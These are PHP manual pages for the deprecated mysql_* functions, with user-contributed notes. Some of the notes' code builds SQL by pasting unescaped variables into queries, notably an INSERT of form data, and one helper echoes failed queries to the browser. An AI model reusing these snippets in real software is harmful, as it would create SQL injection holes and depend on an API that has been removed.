This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_select_db()
  • PDO::__construct() (part of dsn)

Description

bool mysql_select_db ( string $database_name [, resource $link_identifier = NULL ] )

Sets the current active database on the server that's associated with the specified link identifier. Every subsequent call to mysql_query() will be made on the active database.

Parameters

database_name

The name of the database that is to be selected.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_select_db() example

<?php

$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Not connected : ' . mysql_error());
}

// make foo the current db
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
    die ('Can\'t use foo : ' . mysql_error());
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_selectdb()

See Also

  • mysql_connect() - Open a connection to a MySQL Server
  • mysql_pconnect() - Open a persistent connection to a MySQL server
  • mysql_query() - Send a MySQL query

User Contributed Notes

Anonymous 04-Aug-2013 05:22
function go_mysql($query)
{
    global $mysql_link;

    if (!$mysql_link)
    {
        $mysql_link = mysql_connect("localhost","root","my_pass") or die(mysql_error());
        mysql_select_db("my_db") or die(mysql_error());
        mysql_query("SET NAMES 'utf8'");
        mysql_query("set character_set_client='utf8'");
        mysql_query("set character_set_results='utf8'");
        mysql_query("set collation_connection='utf8'");
        global $mysql_link;
    }

    $result=mysql_query($query);
    if ($result)
    {
        return $result;
    }
    else
    {
        echo "Database Error: " . mysql_error()."<br><b>$query</b>";
        die();
    }
}
miloshio at gmail dot com 06-May-2012 02:28
You can select MySQL database without using this function.
Simply right after connecting to MySQL
<?php $connection = mysql_connect("dabatbasehost", "username", "password"); ?>
perform this query:
<?php mysql_query("USE somedatabase", $connection); ?>
duncan at berrimans dot co dot uk 20-Apr-2012 11:11
Note that the manual is slightly misleading it states :-

"Sets the current active database on the server that's associated with the specified link identifier. Every subsequent call to mysql_query() will be made on the active database."

The 2nd statement is not true or at best unclear.

mysql_query() manual entry actually correctly states it will use the last link opened by mysql_connect() by default.

Thus if you have 2 connections you will need to specify the connection when calling mysql_query or issue the connect again to ensure the 1st database becomes the default, simply using mysql_select_db will not make the 1st database the default for subsequent calls to mysql_query.

Its probably only apparent when the two databases are on different servers.
riad93 at mail dot ru 12-Sep-2009 01:44
You can use DataBases without <?php mysql_select_db() ?>

And you will havenot james at gogo dot co dot nz's problems :)

<?php
mysql_connect('localhost','db_user','pssword');
mysql_query('SELECT * FROM database_name.table_name');

?>
anotheruser at example dot com 13-Aug-2008 01:57
Cross-database join queries, expanding on Dan Ross's post...

Really, this is a mysql specific feature, but worth noting here.  So long as the mysql user has been given the right permissions to all databases and tables where data is pulled from or pushed to, this will work.  Though the mysql_select_db function selects one database, the mysql statement may reference another (the syntax for referencing a field in another db table being 'database.table.field').

<?php

$sql_statement = "SELECT
    PostID,
    AuthorID,
    Users.tblUsers.Username
    FROM tblPosts
    LEFT JOIN Users.tblUsers ON AuthorID = Users.tblUsers.UserID
    GROUP BY PostID,AuthorID,Username
    ";

$dblink = mysql_connect("somehost", "someuser", "password");
mysql_select_db("BlogPosts",$dblink);
$qry = mysql_query($sql_statement,$dblink);

?>
me at khurshid dot com 09-Sep-2007 08:03
Problem with connecting to multiple databases within the same server is that every time you do:
mysql_connect(host, username, passwd);
it will reuse 'Resource id' for every connection, which means you will end with only one connection reference to avoid that do:
mysql_connect(host, username, passwd, true);
keeps all connections separate.
Maarten 19-Aug-2005 02:09
About opening connections if the same parameters to mysql_connect() are used: this can be avoided by using the 'new_link' parameter to that function.

This parameter has been available since PHP 4.2.0 and allows you to open a new link even if the call uses the same parameters.
james at gogo dot co dot nz 17-Jan-2004 01:45
Be carefull if you are using two databases on the same server at the same time.  By default mysql_connect returns the same connection ID for multiple calls with the same server parameters, which means if you do

<?php
  $db1 = mysql_connect(...stuff...);
  $db2 = mysql_connect(...stuff...);
  mysql_select_db('db1', $db1);
  mysql_select_db('db2', $db2);
?>

then $db1 will actually have selected the database 'db2', because the second call to mysql_connect just returned the already opened connection ID !

You have two options here, eiher you have to call mysql_select_db before each query you do, or if you're using php4.2+ there is a parameter to mysql_connect to force the creation of a new link.


Sets the client character set

  • « mysql_select_db
  • mysql_stat »
  • PHP Manual
  • MySQL Functions
  • Sets the client character set

mysql_set_charset

(PHP 5 >= 5.2.3)

mysql_set_charset — Sets the client character set

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_set_charset()
  • PDO: Add charset to the connection string, such as charset=utf8

Description

bool mysql_set_charset ( string $charset [, resource $link_identifier = NULL ] )

Sets the default character set for the current connection.

Parameters

charset

A valid character set name.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function requires MySQL 5.0.7 or later.

Note:

This is the preferred way to change the charset. Using mysql_query() to set it (such as SET NAMES utf8) is not recommended. See the MySQL character set concepts section for more information.

See Also

  • mysql_client_encoding() - Returns the name of the character set
  • Setting character sets in MySQL
  • » List of character sets that MySQL supports

User Contributed Notes

emeszenes at gmail dot com 02-Feb-2014 10:44
Massage for nabeelmoidu at gmail dot com:

For me works following code:

$mysqli = mysqli_connect( ... );
mysqli_query( $mysqli, 'SET NAMES "utf8" COLLATE "utf8_general_ci"' );

or just:

mysqli_set_charset( $mysqli, 'utf8' );

Regards, good luck!
Ashus 20-Oct-2008 11:56
I needed to access the database from within one particular webhosting service. Pages are UTF-8 encoded and data received by forms should be inserted into database without changing the encoding. The database is also in UTF-8.

Neither SET character set 'utf8' or SET names 'utf8' worked properly here, so this workaround made sure all variables are set to utf-8.

<?php

// ... (creating a connection to mysql) ...

mysql_query("SET character_set_results = 'utf8', character_set_client = 'utf8', character_set_connection = 'utf8', character_set_database = 'utf8', character_set_server = 'utf8'", $conn);

$re = mysql_query('SHOW VARIABLES LIKE "%character_set%";')or die(mysql_error());
while ($r = mysql_fetch_assoc($re)) {var_dump ($r); echo "<br />";} exit;

?>

All important variables are now utf-8 and we can safely use INSERTs or SELECTs with mysql_escape_string($var) without any encoding functions.
Ronald 06-Oct-2008 10:33
I need to revoke most of my post below. What I found out afterwards is this:

1. if you do not use mysql_set_char mysql will NOT do any translations and thus store a utf8-character-byte as is. If you then retrieve this byte from the db and output it in a utf8 page it will show just fine BUT if other apps query this byte (expecting to find a latin1 byte) they will go wrong.

2. the 'bug' mentioned before only occurs if you use a ucase or lcase function in your statement (like: latin1_col = ucase('utf8 string')

Hope this helps, Ronald
Ronald 25-Sep-2008 09:42
I just hope that the text below will help someone who is struggling with charset encoding, specially when php-charset is different from the mysql-charset. Let me add that I really think that the php man-pages on the mysql-functions are lacking a lot of details on this important issues. Could someone add some useful text here?

Here is my situation. PHP5.2.4, MySql 4.1.15. A php web-application fully utf-8 encoded and a mysql database in latin1 charset.

To make this work I had to:

1. create and store all code files (php, html, inc, js, etc) in the utf-8 charset. Your editor should have an option for this, if not dump it.

2. check that your editor does not add a BOM (http://en.wikipedia.org/wiki/Byte-order_mark) at the beginning of the file. Use a hex-editor to detect them if needed.

3. Set your apache environment to utf-8 by adding 'AddDefaultCharset utf-8' to your .htaccess. If you do not use apache add 'default_charset utf-8' to your php.ini. You have to do either of them (not both), php will use the apache setting where needed.

4. Additionally add this meta-tag to your html-header: '<meta http-equiv="Content-type" content="text/html; charset=UTF-8" />'. This will help silly browsers (Oeps, IE again?) that ignore the utf-response-header send to them.

5. Check that the above line are listened to by check the 'page info' of your pages in firefox. It should show 2 (!!) utf-8 entries.

======== all of the above sofar has nothing to do with mysql ;-) ======

6. Do *NOT* (repeat NOT!) set the 'names' (set names *) or _ANY_ 'character set' (set character set *) (opposed to what they tell you on these pages).

7. Check the previous item by listing the results of the mysql query 'SHOW session VARIABLES'. All char_sets here should say 'latin1', except for the system one which is always 'utf8'. All collations should say 'latin1_*'. Furthermore the php function mysql_client_encoding() should also return latin1 (though I don't understand why; what does this value mean, I would think if php (being the client) is utf8 encoded this would be utf8?)

8 Finally test the above by storing this string in your db and output it in your webpage: 'Iñtërnâtiônàlizætiøn and €'.

Now what was interesting during testing and debugging of the above findings was:
1. If I would run 'mysql_set_charset('utf8')' _OR_ 'mysql_query("SET NAMES 'utf8'");' and then run a query in which I would have 'where char_column = 'abc''it would die with 'Illegal mix of collations'

2. If I would run 'mysql_query("SET character_set_client = 'utf8';"); mysql_query("SET character_set_result = 'utf8';")' the query would work BUT the non-ascii-characters would show scrambled in the browser.

3. BUT these 2 points above work just fine on my local dev-machine (php 5.2.3 & mysql 5.0.45)!!!!!!!!

This draws me to these 3 conclusions:

1. The Php-mysql-function library (5.2.+) does a fine job translating utf-8 queries & results to/from latin1! It's better to let php handle this for you then to have mysql do this.

2. Mysql (4.0.+) has 1 or more bugs (well, let's say unfinished features) that involve the charset-translations that are solved in 5.0.+.

3. It is not well enough documented! (Otherwise I would have to write this)

One last remark: clearly characters that exist in utf8 and not in latin1 (and vv.) will get lost during utf8-latin1-utf8 translation.

If any of the above is not correct or not complete feel free to correct this! (Or better yet, add a chapter to the php manual :-)

Cheers, Ronald
nabeelmoidu at gmail dot com 09-Jun-2008 07:11
Here's an example of how to use this feature :

I'm using  PHP 5.2.5 from http://oss.oracle.com/projects/php/

I wanted to store arabic characters as UTF8 in the database and as suggested in many of the google results, I tried using

mysql_query("SET NAMES 'utf8'");

and

mysql_query("SET CHARACTER SET utf8 ");

but it did not work.

Using the following, it worked flawlessly

$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);

Once this is set we need not manually encode the text into utf using utf8_encode() or other functions. The arabic ( or any UTF8 supported ) text can be passed directly to the database and it is automatically converted by PHP.
For eg.
<?php
$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);
$db_selected = mysql_select_db('emp_feedback', $link);
if (!$db_selected) { die ('Database access error : ' . mysql_error());}
$query = "INSERT INTO feedback ( EmpName, Message ) VALUES ('$_empName','$_message')";
mysql_query($query) or die('Error, Feedback insert into database failed');
?>
Note that here $_empName is stored in English while $_message is in Arabic.
Anonymous 10-Feb-2008 06:03
Actually, this function is available in client libraries in MySQL 4.1.13 and newer, too.  So the real version requirement is MySQL >= 5.0.7 OR, if you're using MySQL 4, then >= 4.1.13.
nag QWE svgfr RTY org 17-Dec-2007 04:47
Here's an improved version of Janez R.'s function:
<?php
if (function_exists('mysql_set_charset') === false) {
    /**
     * Sets the client character set.
     *
     * Note: This function requires MySQL 5.0.7 or later.
     *
     * @see http://www.php.net/mysql-set-charset
     * @param string $charset A valid character set name
     * @param resource $link_identifier The MySQL connection
     * @return TRUE on success or FALSE on failure
     */
    function mysql_set_charset($charset, $link_identifier = null)
    {
        if ($link_identifier == null) {
            return mysql_query('SET CHARACTER SET "'.$charset.'"');
        } else {
            return mysql_query('SET CHARACTER SET "'.$charset.'"', $link_identifier);
        }
    }
}
?>
Janez R. 04-Sep-2007 10:23
I assume that this is an equivalent in previous versions of php (add some parameter validation and default values though!):
<?
if (!function_exists('mysql_set_charset')) {
  function mysql_set_charset($charset,$dbh)
  {
    return mysql_query("set names $charset",$dbh);
  }
}
?>


Get current system status

  • « mysql_set_charset
  • mysql_tablename »
  • PHP Manual
  • MySQL Functions
  • Get current system status

mysql_stat

(PHP 4 >= 4.3.0, PHP 5)

mysql_stat — Get current system status

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_stat()
  • PDO::getAttribute(PDO::ATTR_SERVER_INFO)

Description

string mysql_stat ([ resource $link_identifier = NULL ] )

mysql_stat() returns the current server status.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns a string with the status for uptime, threads, queries, open tables, flush tables and queries per second. For a complete list of other status variables, you have to use the SHOW STATUS SQL command. If link_identifier is invalid, NULL is returned.

Examples

Example #1 mysql_stat() example

<?php
$link   = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$status = explode('  ', mysql_stat($link));
print_r($status);
?>

The above example will output something similar to:

Array
(
    [0] => Uptime: 5380
    [1] => Threads: 2
    [2] => Questions: 1321299
    [3] => Slow queries: 0
    [4] => Opens: 26
    [5] => Flush tables: 1
    [6] => Open tables: 17
    [7] => Queries per second avg: 245.595
)

Example #2 Alternative mysql_stat() example

<?php
$link   = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$result = mysql_query('SHOW STATUS', $link);
while ($row = mysql_fetch_assoc($result)) {
    echo $row['Variable_name'] . ' = ' . $row['Value'] . "\n";
}
?>

The above example will output something similar to:

back_log = 50
basedir = /usr/local/
bdb_cache_size = 8388600
bdb_log_buffer_size = 32768
bdb_home = /var/db/mysql/
bdb_max_lock = 10000
bdb_logdir =
bdb_shared_data = OFF
bdb_tmpdir = /var/tmp/
...

See Also

  • mysql_get_server_info() - Get MySQL server info
  • mysql_list_processes() - List MySQL processes

User Contributed Notes

billbilljr at gmail dot com 06-Jan-2011 08:46
The following script can be used to clearly print out the results of mysql_stat().

<?php
    mysql_connect("localhost", "username", "password");
    $array = explode("  ", mysql_stat());
    foreach ($array as $value){
        echo $value . "<br />";
    }
?>

Outputs something similar to:

Uptime: 698
Threads: 1
Questions: 4
Slow queries: 0
Opens: 19
Flush tables: 1
Open tables: 12
Queries per second avg: 0.5
Enzo_01 at abv dot bg 31-May-2008 09:22
<?php
// function that return stat elements into array
function mysql_stat_array($A=null) {
    $status = explode('  ', mysql_stat());
    foreach($status as $k=>$v) { $v=explode(':',$v,2); $status[$v[0]]=$v[1]; }
    return (isset($status[$A])?$status[$A]:$status);
}
/*
example return:
Array ( [0] => Uptime: 385815 [1] => Threads: 1 [2] => Questions: 3515 [3] => Slow queries: 0 [4] => Opens: 32 [5] => Flush tables: 1 [6] => Open tables: 8 [7] => Queries per second avg: 0.009 [Uptime] => Array ( [0] => Uptime [1] => 385815 ) [Threads] => Array ( [0] => Threads [1] => 1 ) [Questions] => Array ( [0] => Questions [1] => 3515 ) [Slow queries] => Array ( [0] => Slow queries [1] => 0 ) [Opens] => Array ( [0] => Opens [1] => 32 ) [Flush tables] => Array ( [0] => Flush tables [1] => 1 ) [Open tables] => Array ( [0] => Open tables [1] => 8 ) [Queries per second avg] => Array ( [0] => Queries per second avg [1] => 0.009 ) )
*/

?>
09-Feb-2005 03:16
if you need the complete status as outputted by the "show status" command. Try this function.
<?
function mysql_status($db=NULL) {
if(!mysql_ping($db))
$db=mysql_connect("localhost","user","password");
$res=mysql_query("show status",$db);
while (list($key,$value)=mysql_fetch_array($res))
$sql[$key]=$value;
return $sql;
}
?>


Get table name of field

  • « mysql_stat
  • mysql_thread_id »
  • PHP Manual
  • MySQL Functions
  • Get table name of field

mysql_tablename

(PHP 4, PHP 5)

mysql_tablename — Get table name of field

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • SQL Query: SHOW TABLES

Description

string mysql_tablename ( resource $result , int $i )

Retrieves the table name from a result.

This function is deprecated. It is preferable to use mysql_query() to issue an SQL SHOW TABLES [FROM db_name] [LIKE 'pattern'] statement instead.

Parameters

result

A result pointer resource that's returned from mysql_list_tables().

i

The integer index (row/table number)

Return Values

The name of the table on success or FALSE on failure.

Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array().

Changelog

Version | Description
5.5.0 | The mysql_tablename() function is deprecated, and emits an E_DEPRECATED level error.

Examples

Example #1 mysql_tablename() example

<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
$result = mysql_list_tables("mydb");
$num_rows = mysql_num_rows($result);
for ($i = 0; $i < $num_rows; $i++) {
    echo "Table: ", mysql_tablename($result, $i), "\n";
}

mysql_free_result($result);
?>

Notes

Note:

The mysql_num_rows() function may be used to determine the number of tables in the result pointer.

See Also

  • mysql_list_tables() - List tables in a MySQL database
  • mysql_field_table() - Get name of the table the specified field is in
  • mysql_db_name() - Retrieves database name from the call to mysql_list_dbs

User Contributed Notes

Haseldow 23-Apr-2004 02:00
Another way to check if a table exists:

if(mysql_num_rows(mysql_query("SHOW TABLES LIKE '".$table."'"))==1) echo "Table exists";
else echo "Table does not exist";
pl at thinkmetrics dot com 17-Dec-2003 05:00
A simple function to check for the existance of a table:

function TableExists($tablename, $db) {

    // Get a list of tables contained within the database.
    $result = mysql_list_tables($db);
    $rcount = mysql_num_rows($result);

    // Check each in list for a match.
    for ($i=0;$i<$rcount;$i++) {
        if (mysql_tablename($result, $i)==$tablename) return true;
    }
    return false;
}


Return the current thread ID

  • « mysql_tablename
  • mysql_unbuffered_query »
  • PHP Manual
  • MySQL Functions
  • Return the current thread ID

mysql_thread_id

(PHP 4 >= 4.3.0, PHP 5)

mysql_thread_id — Return the current thread ID

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_thread_id()

Description

int mysql_thread_id ([ resource $link_identifier = NULL ] )

Retrieves the current thread ID. If the connection is lost, and a reconnect with mysql_ping() is executed, the thread ID will change. This means only retrieve the thread ID when needed.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

The thread ID on success or FALSE on failure.

Examples

Example #1 mysql_thread_id() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$thread_id = mysql_thread_id($link);
if ($thread_id){
    printf("current thread id is %d\n", $thread_id);
}
?>

The above example will output something similar to:

current thread id is 73

See Also

  • mysql_ping() - Ping a server connection or reconnect if there is no connection
  • mysql_list_processes() - List MySQL processes

User Contributed Notes

There are no user contributed notes for this page.


Send an SQL query to MySQL without fetching and buffering the result rows.

  • « mysql_thread_id
  • Mysqli »
  • PHP Manual
  • MySQL Functions
  • Send an SQL query to MySQL without fetching and buffering the result rows.

mysql_unbuffered_query

(PHP 4 >= 4.0.6, PHP 5)

mysql_unbuffered_query — Send an SQL query to MySQL without fetching and buffering the result rows.

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • See: Buffered and Unbuffered queries

Description

resource mysql_unbuffered_query ( string $query [, resource $link_identifier = NULL ] )

mysql_unbuffered_query() sends the SQL query query to MySQL without automatically fetching and buffering the result rows as mysql_query() does. This saves a considerable amount of memory with SQL queries that produce large result sets, and you can start working on the result set immediately after the first row has been retrieved as you don't have to wait until the complete SQL query has been performed. To use mysql_unbuffered_query() while multiple database connections are open, you must specify the optional parameter link_identifier to identify which connection you want to use.

Parameters

query

The SQL query to execute.

Data inside the query should be properly escaped.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

For SELECT, SHOW, DESCRIBE or EXPLAIN statements, mysql_unbuffered_query() returns a resource on success, or FALSE on error.

For other type of SQL statements, UPDATE, DELETE, DROP, etc, mysql_unbuffered_query() returns TRUE on success or FALSE on error.

Notes

Note:

The benefits of mysql_unbuffered_query() come at a cost: you cannot use mysql_num_rows() and mysql_data_seek() on a result set returned from mysql_unbuffered_query(), until all rows are fetched. You also have to fetch all result rows from an unbuffered SQL query before you can send a new SQL query to MySQL, using the same link_identifier.

See Also

  • mysql_query() - Send a MySQL query

User Contributed Notes

crazyone at crazycoders dot net 27-May-2008 06:47
You are NOT required to read all rows from the resultset when using unbuffered query, you may opt out at any time and use mysql_free_result. Imagine looking at 1 million row when the first 50 suffice? Just free the result and you are good to go again.
post at jfl dot dk 30-Nov-2003 02:57
If using optimized MyISAM tables I guess there is a big advantage with this function as it is possible to do selects and inserts on the same time as long as no rows in the table gets updated.
shaner at accretivetg dot com 22-May-2003 01:45
Regarding bailing on a really large result, while doing an unbuffered query, there _is_ a way to do this: kill the thread and exit your processing loop.  This, of course, requires having a separate database link.  Something like below does the trick:

<?php
// a db link for queries
$lh  = mysql_connect( 'server', 'uname', 'pword' );
// and a controller link
$clh = mysql_connect( 'server', 'uname', 'pword', true );

if ( mysql_select_db ( 'big_database', $lh ) )
{
  $began  =  time();
  $tout   = 60 * 5; // five minute limit
  $qry    = "SELECT * FROM my_bigass_table";
  $rh     = mysql_unbuffered_query( $qry, $lh );
  $thread = mysql_thread_id ( $lh );
  while ( $res = mysql_fetch_row( $rh ) )
  {
    /* do what you need to do
     * ...
     * ...
     */
    if ( ( time() - $began ) > $tout )
    {
      // this is taking too long
      mysql_query( "KILL $thread", $clh );
      break;
    }
  }
}
?>
frappyjohn at dos2linux dot org 18-Feb-2003 07:21
Don't let the two hands confuse you, these are both advantages (they should really be on the same hand):

On the one hand, this saves a considerable amount of memory with SQL queries that produce large result sets.

On the other hand, you can start working on the result set immediately ...
david at php dot net 18-May-2002 06:25
You are absolutely required to retrieve all rows in the result set (option 'a' in the first comment). If you fail to do so, PHP will do so for you, and will emit a NOTICE warning you of the fact. From the MySQL API, "Furthermore, you must retrieve all the rows even if you determine in mid-retrieval that you've found the information you were looking for. ".

Also note that if you are using this function, you should be quick about processing the result set, or you will tie up the MySQL server (other threads will be unable to write to the tables you are reading from).

If you want to be able to 'abort' mid result-set or if you want to do lengthy processing on the results, you are misunderstanding the purpose of this function.

Also note that UPDATE queries etc return no result set, so this function is only useful for SELECT etc.


MySQL Improved Extension

  • Introduction
  • Overview
  • Quick start guide
    • Dual procedural and object-oriented interface
    • Connections
    • Executing statements
    • Prepared Statements
    • Stored Procedures
    • Multiple Statements
    • API support for transactions
    • Metadata
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • The mysqli Extension and Persistent Connections
  • Predefined Constants
  • Notes
  • The MySQLi Extension Function Summary
  • mysqli — The mysqli class
    • mysqli::$affected_rows — Gets the number of affected rows in a previous MySQL operation
    • mysqli::autocommit — Turns on or off auto-committing database modifications
    • mysqli::begin_transaction — Starts a transaction
    • mysqli::change_user — Changes the user of the specified database connection
    • mysqli::character_set_name — Returns the default character set for the database connection
    • mysqli::$client_info — Get MySQL client info
    • mysqli::$client_version — Returns the MySQL client version as a string
    • mysqli::close — Closes a previously opened database connection
    • mysqli::commit — Commits the current transaction
    • mysqli::$connect_errno — Returns the error code from last connect call
    • mysqli::$connect_error — Returns a string description of the last connect error
    • mysqli::__construct — Open a new connection to the MySQL server
    • mysqli::debug — Performs debugging operations
    • mysqli::dump_debug_info — Dump debugging information into the log
    • mysqli::$errno — Returns the error code for the most recent function call
    • mysqli::$error_list — Returns a list of errors from the last command executed
    • mysqli::$error — Returns a string description of the last error
    • mysqli::$field_count — Returns the number of columns for the most recent query
    • mysqli::get_charset — Returns a character set object
    • mysqli::get_client_info — Get MySQL client info
    • mysqli_get_client_stats — Returns client per-process statistics
    • mysqli_get_client_version — Returns the MySQL client version as an integer
    • mysqli::get_connection_stats — Returns statistics about the client connection
    • mysqli::$host_info — Returns a string representing the type of connection used
    • mysqli::$protocol_version — Returns the version of the MySQL protocol used
    • mysqli::$server_info — Returns the version of the MySQL server
    • mysqli::$server_version — Returns the version of the MySQL server as an integer
    • mysqli::get_warnings — Get result of SHOW WARNINGS
    • mysqli::$info — Retrieves information about the most recently executed query
    • mysqli::init — Initializes MySQLi and returns a resource for use with mysqli_real_connect()
    • mysqli::$insert_id — Returns the auto generated id used in the last query
    • mysqli::kill — Asks the server to kill a MySQL thread
    • mysqli::more_results — Check if there are any more query results from a multi query
    • mysqli::multi_query — Performs a query on the database
    • mysqli::next_result — Prepare next result from multi_query
    • mysqli::options — Set options
    • mysqli::ping — Pings a server connection, or tries to reconnect if the connection has gone down
    • mysqli::poll — Poll connections
    • mysqli::prepare — Prepare an SQL statement for execution
    • mysqli::query — Performs a query on the database
    • mysqli::real_connect — Opens a connection to a mysql server
    • mysqli::real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    • mysqli::real_query — Execute an SQL query
    • mysqli::reap_async_query — Get result from async query
    • mysqli::refresh — Refreshes
    • mysqli::release_savepoint — Rolls back a transaction to the named savepoint
    • mysqli::rollback — Rolls back current transaction
    • mysqli::rpl_query_type — Returns RPL query type
    • mysqli::savepoint — Set a named transaction savepoint
    • mysqli::select_db — Selects the default database for database queries
    • mysqli::send_query — Send the query and return
    • mysqli::set_charset — Sets the default client character set
    • mysqli::set_local_infile_default — Unsets user defined handler for load local infile command
    • mysqli::set_local_infile_handler — Set callback function for LOAD DATA LOCAL INFILE command
    • mysqli::$sqlstate — Returns the SQLSTATE error from previous MySQL operation
    • mysqli::ssl_set — Used for establishing secure connections using SSL
    • mysqli::stat — Gets the current system status
    • mysqli::stmt_init — Initializes a statement and returns an object for use with mysqli_stmt_prepare
    • mysqli::store_result — Transfers a result set from the last query
    • mysqli::$thread_id — Returns the thread ID for the current connection
    • mysqli::thread_safe — Returns whether thread safety is given or not
    • mysqli::use_result — Initiate a result set retrieval
    • mysqli::$warning_count — Returns the number of warnings from the last query for the given link
  • mysqli_stmt — The mysqli_stmt class
    • mysqli_stmt::$affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement
    • mysqli_stmt::attr_get — Used to get the current value of a statement attribute
    • mysqli_stmt::attr_set — Used to modify the behavior of a prepared statement
    • mysqli_stmt::bind_param — Binds variables to a prepared statement as parameters
    • mysqli_stmt::bind_result — Binds variables to a prepared statement for result storage
    • mysqli_stmt::close — Closes a prepared statement
    • mysqli_stmt::data_seek — Seeks to an arbitrary row in statement result set
    • mysqli_stmt::$errno — Returns the error code for the most recent statement call
    • mysqli_stmt::$error_list — Returns a list of errors from the last statement executed
    • mysqli_stmt::$error — Returns a string description for last statement error
    • mysqli_stmt::execute — Executes a prepared Query
    • mysqli_stmt::fetch — Fetch results from a prepared statement into the bound variables
    • mysqli_stmt::$field_count — Returns the number of field in the given statement
    • mysqli_stmt::free_result — Frees stored result memory for the given statement handle
    • mysqli_stmt::get_result — Gets a result set from a prepared statement
    • mysqli_stmt::get_warnings — Get result of SHOW WARNINGS
    • mysqli_stmt::$insert_id — Get the ID generated from the previous INSERT operation
    • mysqli_stmt::more_results — Check if there are more query results from a multiple query
    • mysqli_stmt::next_result — Reads the next result from a multiple query
    • mysqli_stmt::$num_rows — Return the number of rows in statements result set
    • mysqli_stmt::$param_count — Returns the number of parameter for the given statement
    • mysqli_stmt::prepare — Prepare an SQL statement for execution
    • mysqli_stmt::reset — Resets a prepared statement
    • mysqli_stmt::result_metadata — Returns result set metadata from a prepared statement
    • mysqli_stmt::send_long_data — Send data in blocks
    • mysqli_stmt::$sqlstate — Returns SQLSTATE error from previous statement operation
    • mysqli_stmt::store_result — Transfers a result set from a prepared statement
  • mysqli_result — The mysqli_result class
    • mysqli_result::$current_field — Get current field offset of a result pointer
    • mysqli_result::data_seek — Adjusts the result pointer to an arbitrary row in the result
    • mysqli_result::fetch_all — Fetches all result rows as an associative array, a numeric array, or both
    • mysqli_result::fetch_array — Fetch a result row as an associative, a numeric array, or both
    • mysqli_result::fetch_assoc — Fetch a result row as an associative array
    • mysqli_result::fetch_field_direct — Fetch meta-data for a single field
    • mysqli_result::fetch_field — Returns the next field in the result set
    • mysqli_result::fetch_fields — Returns an array of objects representing the fields in a result set
    • mysqli_result::fetch_object — Returns the current row of a result set as an object
    • mysqli_result::fetch_row — Get a result row as an enumerated array
    • mysqli_result::$field_count — Get the number of fields in a result
    • mysqli_result::field_seek — Set result pointer to a specified field offset
    • mysqli_result::free — Frees the memory associated with a result
    • mysqli_result::$lengths — Returns the lengths of the columns of the current row in the result set
    • mysqli_result::$num_rows — Gets the number of rows in a result
  • mysqli_driver — The mysqli_driver class
    • mysqli_driver::embedded_server_end — Stop embedded server
    • mysqli_driver::embedded_server_start — Initialize and start embedded server
    • mysqli_driver::$report_mode — Enables or disables internal report functions
  • mysqli_warning — The mysqli_warning class
    • mysqli_warning::__construct — The __construct purpose
    • mysqli_warning::next — The next purpose
  • mysqli_sql_exception — The mysqli_sql_exception class
  • Aliases and deprecated Mysqli Functions
    • mysqli_bind_param — Alias for mysqli_stmt_bind_param
    • mysqli_bind_result — Alias for mysqli_stmt_bind_result
    • mysqli_client_encoding — Alias of mysqli_character_set_name
    • mysqli_connect — Alias of mysqli::__construct
    • mysqli::disable_reads_from_master — Disable reads from master
    • mysqli_disable_rpl_parse — Disable RPL parse
    • mysqli_enable_reads_from_master — Enable reads from master
    • mysqli_enable_rpl_parse — Enable RPL parse
    • mysqli_escape_string — Alias of mysqli_real_escape_string
    • mysqli_execute — Alias for mysqli_stmt_execute
    • mysqli_fetch — Alias for mysqli_stmt_fetch
    • mysqli_get_cache_stats — Returns client Zval cache statistics
    • mysqli_get_links_stats — Return information about open and cached links
